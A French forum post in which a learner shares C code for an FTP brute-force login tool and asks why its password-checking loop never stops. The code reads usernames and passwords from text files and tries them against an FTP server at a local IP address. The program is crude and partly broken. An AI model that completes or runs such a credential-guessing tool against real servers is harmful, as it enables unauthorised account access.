Bonjour a tous,voila je realise un logiciel de brute force ftp ceci etant pour améliorer mon niveau en programation,bref j'ai un probleme sur ma boucle qui est sensé verifier si le pass et bon ou pas le probleme étant que meme si le pass et bon le programme continu la boucle:

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
 
 
#include <stdio.h>
#include <stdlib.h>
#include<winsock2.h>
#include<string.h>
 
 
 
int main(int argc, char *argv[])
{
char user[200]={0};
char buffer[200]={0};
char pass[200]={0};
char verification[]="530 Login or password incorrect!";
int i;
FILE *pu;
FILE *pp;
pp=fopen("user.txt","r");//ouverture du fichier texte contenant les nom d'utilisateur
fgets(user,sizeof user,pp);//lecture de la première ligne dans le txt et ecriture dans  user
pu=fopen("pass.txt","r");//ouverture du fichier txt contenant les pass
 
 
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0), &WSAData);
SOCKET sock;
SOCKADDR_IN sin;
 
/* Tout est configuré pour se connecter sur IRC, haarlem, Undernet. */
sock = socket(AF_INET, SOCK_STREAM, 0);//creation d'une soket
 
sin.sin_addr.s_addr   = inet_addr("192.168.1.4");//parametrage de la soket
sin.sin_family    = AF_INET;
sin.sin_port    = htons(21);
connect(sock, (SOCKADDR *)&sin, sizeof(sin));// connection sur l'hote
 
recv(sock, buffer, sizeof(buffer), 0);//reception des donnees envoyer par le serveur ftp
 
printf("%s\n",buffer);
 
do
{
 
send(sock, user, sizeof(user), 0);//envoie du premier nom d'utilisateur precede de la commande user
 
for(i=0;i<200;i++)//boucle pour vider le buffer
{
buffer[i]=0;
}
 
recv(sock, buffer, sizeof(buffer), 0);
 
fgets(pass,sizeof pass,pu);//lecture  du fichier txt pass
 
printf("%s\n",pass);
 
send(sock, pass, sizeof(pass), 0);//envoi du pass celui-ci etant precedé de la commande pass
 
for(i=0;i<200;i++)//2eme boucle pour vider le buffer
{
buffer[i]=0;
}
 
recv(sock, buffer, sizeof(buffer), 0);//reception des données envoyer par le serveur
 
 
printf("%s\n",buffer);
 
strcmp(buffer,verification);//comparaison des deux chaines pour savoir si le pass et correct ou non
 
}while(strcmp(buffer,verification)==0);//si la chaine buffer et egal à la chaine verification on boucle
 
 
 
 
 
closesocket(sock);
WSACleanup();
 
 
  system("PAUSE>0"); 
  return 0;
}
si quelqu'un pouvait me dire pourquoi ma boucle ne s'arrete pas merci d'avance